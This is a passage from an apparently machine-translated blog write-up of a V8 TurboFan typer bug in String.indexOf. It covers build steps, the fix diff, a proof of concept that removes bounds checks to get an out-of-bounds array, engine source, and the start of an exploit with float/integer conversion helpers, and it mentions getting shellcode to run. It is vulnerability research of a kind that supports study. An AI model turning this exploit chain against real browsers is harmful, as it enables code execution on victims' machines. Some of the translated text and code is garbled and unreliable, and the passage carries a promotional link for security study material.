This is the second vulnerability in A Guided Tour through Chrome’s javascript Compiler, and the corresponding COMMIT is shown below

Environment set up

With the v8 – action

Env: PATCH_FLAG: true COMMIT: d2da19c78005c75e0f658be23c28b473dd76b93b # here DEPOT_UPLOAD: false SRC_UPLOAD: true BINARY_UPLOAD: falseCopy the code

compile

cd v8
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
cd ..
Copy the code

Vulnerability analysis

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index e04b1fb.. 251a946 100644 -- a/ SRC /compiler/typer.cc +++ b/ SRC /compiler/typer.cc @@-1453,7 +1453,7 @@return Type::String(); Case kStringIndexOf: case kStringLastIndexOf: - return Type::Range(-1.0, String::kMaxLength -1.0, t->zone()); + return Type::Range(-1.0, String::kMaxLength, t->zone()); case kStringEndsWith: case kStringIncludes: return Type::Boolean();Copy the code

You can see that the original String’s maximum subscript is Range(-1.0, kMaxLength -1.0), because obviously, when there is only one element, the maximum subscript is 1-1->0

But there is one special case:

'1234'.indexOf('', 4) == 4
Copy the code

Not only that, we can search for empty characters in an array of arbitrary length, starting with its maxLength, and return its maxLength, but also with a potential return value of range(-1, maxLeng-1). Of course we will use the indexOf source code to analyze.

Share technical learning materials with you as follows

→ Click to view “Network Security Learning Guide” ←

1.more than 2000 network security e-books 2. Network security standard question bank materials 3. Project source code 4 network security basics, Linux, Web security, attack and defense video 5. Network security learning roadmap

About the indexOf

str.indexOf(searchValue [, fromIndex])
Copy the code

Returns the index of the first searchValue in the current string starting from fromIndex, but returns the array length when we search for null characters as described above and from positions greater than or equal to the length of the array (as shown in the source code analysis below). Use turbolizer to see the generated graph.

Write a POC test and check out turbolizer

function hex(i){ return i.toString(16).padStart(16, "0"); } function foo(x) { // const maxLength = %StringMaxLength(); // print(maxLength); //maxLength==2**30+25 let a = 'A'.repeat(2**30-25).indexOf('',x); let b = a + 25; let c = b >> 30; let idx = 7 * c; // print(idx); Let oobArray = [1.1, 2.2, 3.3, 4.4]. oobArray[idx] = -1; return oobArray; } for(let i=0; i<10000; i++) { foo(1) } let oob = foo(2**30-25); console.log("[*]oob.length: "+hex(oob.length));Copy the code

 

I wanted to do the same thing I did here, and then just do a few simple steps to create an index that I can use to cross the bounds, but unfortunately when I do this locally, it will be 0 after optimization. This is a little confusing, and it’s best to look at the value of %StringMaxLength() when testing locally, It’s 2**28-16 in the slide, and IT’s 2**30-25 in the slide, which is a very important point.

Fortunately, I can see his exp writing method here, his POC result is different from mine, my local result is too normal, it seems that there is no bug, but the poC that returns the array with length that is out of bounds can run in my local, thank you, otherwise I don’t know how long this inexplicable error will hold me up.

There is also a CheckBounds check at this stage, but in the Simplified lowering stage there is no CheckBounds check, indicating that the TurboFan thinks the bounds are not crossed, so it removes the CheckBound. In fact, the bounds are crossed. So checkbound will be removed.

This error, which eliminates Checkbound, occurs because:

Note that I’m not using a 2**28, but turboFan’s tuning of the scope shows that it won’t cross the boundary, so checkBound will be removed. This may be confusing, but I’ll write a hypothetical graph of my own after fixing the bug:

Inferred Type Actual value
R (28 – – 1, 2 ^ 16) 28-2 ^ 16
15, 2 ^ R (28) 2 ^ 28
R (0, 1) 1
R (0, 0 x414141) 0x414141

That obviously won’t make CheckBound go away.

Source code analysis

int String::IndexOf(Isolate* isolate, Handle<String> receiver, Handle<String> search, int start_index) { DCHECK(0 <= start_index); // Start subscript greater than 0 DCHECK(start_index <= receiver->length()); Uint32_t search_length = search->length(); If (search_length == 0) return start_index; // If the string is empty, return the subscript of the start of the search uint32_t receiver_length = receiver->length(); if (start_index + search_length > receiver_length) return -1; receiver = String::Flatten(receiver); search = String::Flatten(search); DisallowHeapAllocation no_gc; // ensure vectors stay valid // Extract flattened substrings of cons strings before getting encoding. String::FlatContent receiver_content = receiver->GetFlatContent(); String::FlatContent search_content = search->GetFlatContent(); // dispatch on type of strings if (search_content.IsOneByte()) { Vector<const uint8_t> pat_vector = search_content.ToOneByteVector(); return SearchString<const uint8_t>(isolate, receiver_content, pat_vector, start_index); } Vector<const uc16> pat_vector = search_content.ToUC16Vector(); return SearchString<const uc16>(isolate, receiver_content, pat_vector, start_index); }Copy the code

using

We can see through the poc, to construct a cross-border read an array of results, and the construction of the poc looks is not particularly difficult, and its principle are also well in front, I believe you learn by some the v8, get can have oob array of poc can quickly write the exp, have after crossing the line array of operation will no longer say more

In addition, the V8 version is quite old v6.3, I use wASM not trigger should be this version is not supported, finally directly with the here said jit slightly modified:

function hex(i)
{
    return i.toString(16).padStart(16, "0");
}

const MAX_ITERATIONS = 10000;
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);

function f2i(val)
{ 
    f64[0] = val;
    let tmp = Array.from(u32);
    return tmp[1] * 0x100000000 + tmp[0];
}

function i2f(val)
{
    let tmp = [];
    tmp[0] = parseInt(val % 0x100000000);
    tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
Copy the code

 

I have been thinking about the reason why shellcode can’t run. Every time, the environment variable of display is different from others. If you can’t run with my EXP, you can also try a new one.